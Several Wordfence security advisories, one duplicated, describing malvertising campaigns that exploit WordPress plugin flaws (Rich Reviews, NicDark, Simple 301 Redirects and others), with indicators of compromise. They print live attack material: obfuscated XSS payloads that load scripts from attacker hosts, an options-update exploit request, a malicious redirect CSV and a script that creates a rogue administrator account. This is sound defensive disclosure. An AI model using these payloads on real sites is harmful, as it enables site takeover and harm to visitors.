Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild

Description: XSS Via Unauthenticated Plugin Options Update
Affected Plugin: Rich Reviews
Affected Versions: <= 1.7.4
CVSS Score: 8.3 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Rich Reviews plugin for WordPress. The estimated 16,000 sites running the plugin are vulnerable to unauthenticated plugin option updates, which can be used to deliver stored cross-site scripting (XSS) payloads.

Attackers are currently abusing this exploit chain to inject malvertising code into target websites. The malvertising code creates redirects and popup ads. Our team has been tracking this attack campaign since April of this year. You can find additional research covering this attack campaign, published by us in April and again in August of this year.

The Wordfence firewall already has built-in rules that reliably block the XSS injections in this campaign, both for Premium users and those who haven’t upgraded yet. In addition to this, we have released a new firewall rule for our Premium customers to prevent attackers from making configuration changes, such as removing the need for review approval, or defacing certain text elements.

This new Wordfence firewall rule prevents manipulation of the plugin’s settings and has been automatically deployed to our Wordfence Premium customers. The new rule will be released to free users within 30 days.

The plugin’s developers are aware of this vulnerability, but there is no patch currently available. Please see our notes on disclosure below. We recommend users find an alternative solution as soon as possible, or remove the Rich Reviews plugin from your site.

The vulnerability in this plugin is being actively exploited. The Wordfence team is seeing this in our attack data and our Security Services Team has assisted customers of our site cleaning service who have had their site compromised by an attacker who exploited this vulnerability.

Why We Are Disclosing Today

Our published disclosure policy is to ensure that developers have 7 days to fix an actively exploited vulnerability. The Rich Reviews plugin was removed from the WordPress repository 6 months ago. That means that, even if the developers release a fix, customers will not be able to update until the plugin is reinstated in the repository. We saw this forum post 5 days ago describing another site being infected via this vulnerability. At that time the developers responded with the following:

We’ve been working on an overall rewrite of this plugin for a while now, but someone out there apparently wanted us to work faster on it, and decided to exploit our plugin to get some malware out there. We’re now going double-quick on it, and hope to have it back up (and newly cozy and secure) within the next two weeks.

In view of the active exploitation that is affecting the WordPress community, the removal of the plugin from the repository, the inability for WordPress sites to update if a fix is released, and the vague timeline expressed by the developer, we have made the decision to disclose the details of this vulnerability now so that the community can protect themselves immediately.

The Vulnerability At A Glance

The two core issues in the Rich Reviews plugin are a lack of access controls for modifying the plugin’s options, and a subsequent lack of sanitization on the values of those options.

To perform options updates, the plugin checks for the presence of the POST body parameter update. If the expected value is present, the plugin iterates through other options passed through POST and updates their values as needed. Unfortunately, this check is made every time the plugin’s RichReviews class is instantiated regardless of user permissions or the current path. This means all incoming requests are capable of performing these changes.

A number of the vulnerable option values are responsible for customizing text displayed by the plugin. Improper sanitization of these values allows attackers to inject JavaScript payloads which can be triggered by visitors as well as logged-in administrators.

The Attack Campaign

While performing forensic review of an infected site, a security analyst with our site cleaning team identified suspicious log activity associated with the Rich Reviews plugin.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

An interesting note regarding this log entry is the inclusion of the plugin’s admin-post.php page string. This type of request is commonly seen in cases where an is_admin check is improperly used to test a user’s permissions, such as in this example from earlier this year. However, that workaround is unnecessary in this case, where all incoming requests are checked for options updates regardless of path.

The payloads injected by these attackers are directly associated with a malvertising campaign we’ve reported on previously:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

The obfuscated payload above executes the following script:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

This XSS payload is nearly identical to those we’ve identified in this campaign before. The sourced third-party script place.js is similar to others we’ve seen in this malvertising campaign as well, which could trigger popup ads and unwanted redirects.

Indicators of Compromise (IOCs)

Our Threat Intelligence Team releases indicators of compromise where feasible so that other security vendors can add detection capability to their products and provide protection to their customers. The following are IOCs that we have observed associated with this attack campaign.

IP Addresses

The following IP addresses are linked to malicious activity against this vulnerability:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Domain Names

  • adsnet.work – Hosts malicious scripts sourced by XSS injections.
    • Outbound DNS requests to this domain suggest a user on your network may have triggered a potentially dangerous redirect.

Database Content

Injected content will be present in the options table of your WordPress database, with the name rr_options.

Conclusion

Rich Reviews, a plugin with an estimated 16,000 users, was removed from the WordPress plugin repository in March for security reasons. The current version of the plugin contains a highly exploitable options update vulnerability that can be used to inject a stored XSS payload into vulnerable sites. We have identified a known malvertising campaign abusing vulnerable sites in order to deliver popup ads and potentially dangerous redirects.

Wordfence users, both Premium and those still on Free, are already protected from the attacks in this campaign due to the firewall’s robust XSS protection. There is potential for non-XSS abuse of this vulnerability, however, which has prompted us to release a new firewall rule. Wordfence Premium users have received an automatic update containing this new rule, while free users will receive an  update in thirty days.

The plugin’s developers have acknowledged the presence of these issues, but have provided an estimate of two weeks to resolve these vulnerabilities. Due to the length of this patch process and in light of the fact that the plugin has been removed from the official WordPress plugin repository, it is recommended that Rich Reviews users find an alternative solution to ensure the security of their sites.

Please consider sharing this post to help create awareness of this security issue.

The post Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Malicious WordPress Redirect Campaign Attacking Several Plugins

Over the past few weeks, our Threat Intelligence team has been tracking an active attack campaign targeting a selection of new and old WordPress plugin vulnerabilities. These attacks seek to maliciously redirect traffic from victims’ sites to a number of potentially harmful locations.

Each of the vulnerabilities targeted by this campaign have been public for some time, and Wordfence users are protected either by individual firewall rules or generic protections built into the plugin. Two of the vulnerabilities in question have firewall rules which are currently available to Premium users only:

  • NicDark Plugins – Unauthenticated Arbitrary Options Update
    • Though several individual plugins are affected, the vulnerability is the same across each and they are covered by a single firewall rule.
    • Affected plugin slugs are prefixed with nd-. Example plugins include Components For WP Bakery Page Builder (slug: nd-shortcodes), Booking (slug: nd-booking, Travel Management (slug: nd-travel), etc.
    • Firewall rule released for Premium users on July 30, 2019
    • Available for Free users starting August 29. 2019
  • Simple 301 Redirects Addon – Bulk Uploader <= 1.2.5 – Unauthenticated Options Update
    • Firewall rule released for Premium users on August 6, 2019
    • Available for Free users starting September 5, 2019

Each of these plugins have updates available which resolve the vulnerabilities. All WordPress users, regardless of firewall status, are advised to keep their plugins up-to-date at all times.

In today’s post we’ll look at the attacks associated with this campaign, and we’ll provide some useful indicators of compromise (IOCs) to assist in identifying similar activity.

Attacks Against NicDark Plugins

The vulnerabilities recently patched in plugins developed by NicDark are all exploited by very similar AJAX requests. In each case the plugin registers a nopriv_ AJAX action, which is accessible even by unauthenticated visitors, responsible for importing various WordPress settings. In these requests, key->value pairs of WordPress options and values are parsed out and applied directly to the affected site’s database.

For example, the following POST request is an attempt to attack the Travel Management plugin:

POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Range: bytes=0-1000000
Connection: keep-alive
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=nd_travel_import_settings_php_function&amp;nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_travel_end_option%5D

In each case, the targeted plugin must be declared in both the action parameter and the GET query string parameter defining the new option values, such as this example’s nd_travel_value_import_settings.

Because these vulnerabilities allow unauthenticated users to modify arbitrary WordPress options, it’s possible for attackers to enable registration as an Administrator user. However, we don’t see that behavior associated with this attack campaign. Instead, as seen in the sample request above, the attackers are modifying the siteurl setting of the victim’s site. In this case, the new value is https://jackielovedogs.com/pret.js?l=1. A subsequent request would then make the same change for the home setting.

The result of this modification is that all of the victim site’s scripts will attempt to load relative to that injected path. For example, instead of a site’s jQuery script loading from https://example.com/wp-includes/js/jquery/jquery.js, it would instead cause the visitor’s browser to open the URL https://jackielovedogs.com/pret.js?l=1/wp-includes/js/jquery/jquery.js. In effect, this replaces all of a site’s loaded JavaScript with a file under the attacker’s control.

Attacks Against Simple 301 Redirects Addon – Bulk Uploader

The other most common attack vector we’ve tracked in this campaign is the Simple 301 Redirects – Addon – Bulk Uploader plugin, which recently patched a vulnerability allowing unauthenticated attackers to inject their own 301 redirect rules onto a victim’s site.

Vulnerable versions of the plugin would constantly listen for the presence of the POST body parameter submit_bulk_301. If this value is present, an uploaded CSV file would be processed and used to import a bulk set of site paths and their redirect destinations.

The following is an example of the CSV files attackers are attempting to upload:

/,https://developsincelock.com/54768?
*,https://developsincelock.com/5868?
/*,https://developsincelock.com/34234?

When a vulnerable site processes this CSV, the site will begin redirecting all of its traffic to the addresses provided.

Other Targeted Plugins

In addition to the primary two above, we have identified related attacks against a number of other formerly-vulnerable plugins, including (but not limited to):

Payload Behavior Analysis

The domains used by the attackers in performing these script injections and redirects rotate with some frequency. New domains appear every few days, and attacks involving older domains taper off. We provide a list of the domains we’ve identified in the IOC section below.

At this time, many of the redirect domains associated with these attacks appear to have been decommissioned, despite the fact that these domains still show up in active attacks at the time of this writing. For example jackielovedogs.com, which appeared in the example request in the ND plugin section above, appears to have been reclaimed by Registrar.eu, a reseller name used by ICANN registrar Openprovider.

Further analysis of this campaign’s long-term behavior is ongoing, and we will provide a followup report as necessary.

Indicators of Compromise (IOCs)

The following IOCs can be used in the process of identifying or tracking activity associated with this campaign.

IP Addresses

The attacks are distributed across a large number of IPs. The top 20 IPs associated with this campaign are listed below. Additionally, addresses listed in bold text appear in the list of IPs Attacking Most Sites as seen in the most recent Wordfence Weekly.

  1. 192.99.38.186
  2. 51.38.69.87
  3. 62.210.252.196
  4. 164.132.44.97
  5. 159.203.81.46
  6. 217.182.95.250
  7. 51.255.43.81
  8. 37.187.198.246
  9. 54.36.246.232
  10. 45.55.152.56
  11. 198.199.100.240
  12. 162.241.175.243
  13. 188.213.175.168
  14. 45.40.143.13
  15. 188.213.166.219
  16. 192.169.227.95
  17. 193.70.2.138
  18. 149.202.75.164
  19. 192.169.157.142
  20. 104.238.97.201

Domain Names

  • greatinstagrampage.com
  • gabriellalovecats.com
  • jackielovedogs.com
  • tomorrowwillbehotmaybe.com
  • go.activeandbanflip.com
  • wiilberedmodels.com
  • developsincelock.com

Conclusion

An active campaign is targeting a number of vulnerabilities in attempts to redirect victim sites’ visitors to potentially harmful destinations. The vulnerabilities in question have all been patched by their developers, so ensure all of your WordPress plugins are up to date. Wordfence Premium users who are unable to update are protected from all of these attacks, while Free users will gain access to these rules in the coming weeks.

Our investigation into these attacks is ongoing. We will continue to track further changes in the campaign’s infrastructure and will provide followup reports as necessary.

As always, please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Malicious WordPress Redirect Campaign Attacking Several Plugins appeared first on Wordfence.

Read More

Recent WordPress Vulnerabilities Targeted by Malvertising Campaign

The Defiant Threat Intelligence team has identified a malvertising campaign which is causing victims’ sites to display unwanted popup ads and redirect visitors to malicious destinations, including tech support scams, malicious Android APKs, and sketchy pharmaceutical ads. This type of campaign is far from novel, but these attacks drew our attention.

By targeting a few recently disclosed WordPress plugin vulnerabilities, the attackers inject a JavaScript payload into the front end of a victim’s site. These injections each contain a short script which sources additional code from one or more third-party URLs. That code is executed when a visitor opens the victim website.

When the third party code executes in a visitor’s browser, it performs an initial redirect to a central domain, which then performs another redirect to a new destination based on a number of factors, notably the type of device in use by the redirected user.

The Wordfence firewall’s built-in protections block these malicious code injections for all users of our plugin, including free users.

In today’s post we’ll discuss the scope of this campaign, including the specific code injections used by the attackers as well as some detail regarding the infrastructure behind the redirects.

Recent Attacks Targeting Coming Soon and Maintenance Mode Plugin

In a disclosure last week, NinTechNet disclosed a vulnerability in the Coming Soon and Maintenance Mode plugin for WordPress. In their report, it was revealed that unauthenticated attackers could inject JavaScript payloads into a number of parameters on sites using vulnerable versions of the plugin. Shortly after the disclosure, our team identified a wave of attacks across our network.

<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>

Using input routes intended for custom CSS styling, the attackers attempted to inject obfuscated JavaScript payloads on a large number of sites, which would trigger for any user visiting an affected site.

Decoding this obfuscated script reveals that this code simply points to another URL containing a different JavaScript payload.

eval("var script = document.createElement('script');
script.onload = function() {
};
script.src = 'https://yourservice[.]live/place.js';
document.getElementsByTagName('head')[0].appendChild(script);");

The URL being sourced is one of several we’ve identified associated with this campaign, most of which do the same thing: perform a basic JavaScript redirect to a domain responsible for determining where the traffic should ultimately end up.

window.location.replace('http://4ksudckusdkc[.]space/r?token=47255dfb7dafd771473720052936d2541dceda7a');

When a visitor arrives at that address, which we’ve defanged to prevent accidental clicks, the site responds with a different script based on the User-Agent string associated with the request. A cookie is also set in the redirected browser in order to track repeat users.

The eventual destination sites vary in scope and intent. Some redirects land users on typical illegitimate ads for pharmaceuticals and pornography, while others attempt direct malicious activity against the user’s browser.

Some of the redirect landing pages attempt to social engineer their victims into clicking various page elements.

Earlier Attacks Targeted Other XSS Vulnerabilities

These attacks aren’t the first associated with this malvertising campaign. Several vulnerabilities disclosed over the past few months have been included in the attacker’s attempts to distribute these injections.

The vulnerabilities in question include Yellow Pencil Visual CSS Style Editor <= 7.2.0 – Unauthenticated Arbitrary Options Update, and Blog Designer <= 1.8.10 – Unauthenticated Stored Cross-Site Scripting (XSS).

The Yellow Pencil vulnerability is notable because, in most configurations, an attacker could enable new user registrations with Administrator privileges, leading to takeover of vulnerable sites. Instead of taking the sites over entirely, these attackers seem satisfied with the malvertising campaign by itself.

Campaign Hosting Popup Ad Code On Infected Sites

In addition to the redirects, this campaign includes the ability to inject popup ads into victims’ sites. The JavaScript code responsible for this has been identified on domains directly associated with the attacker, but we’ve also found injections sourcing these scripts from legitimate sites which were themselves infected by the attacker through other means.

function(e, t) {
                if (!e || !u(e, "array")) return;
                for (var n = 0; n < e.length; n++) e[n].addEventListener("mousedown", t, !0)
            }([t, r], c), e = function() {
                var e = r.createElement("script");
                for (var t in e.src = a, n) n.hasOwnProperty(t) && e.setAttribute("data-" + t.replace(/([a-zA-Z])(?=[A-Z])/g, "$1-").toLowerCase(), n[t]);
                i && e.setAttribute("data-loader-data", JSON.stringify(i));
                o.appendChild(e)
            }, "interactive" === r.readyState || "complete" === r.readyState ? e() : r.addEventListener("DOMContentLoaded", e)
    }({
        "domain": "tut-64[.]com",
        "cdnDomain": "mediasprucetree[.]com",
        "promoCdn": "mediaoaktree[.]com",
        "plToken": "b4c9dc3b4613a931cda646a6a5a8bb1185114458",
        "type": "under",
        "ipcSrc": "//mediaoaktree[.]com/pu-placer.js?t=1557247297"
    })
}]);

The file containing the snippet above, a beautified version of the code present at https://yourservice[.]live/ads.js, sources and injects further JavaScript from another domain related to the ad network. Once everything has triggered, the victim’s browser will open a selected address in a new tab the next time they click or tap the page.

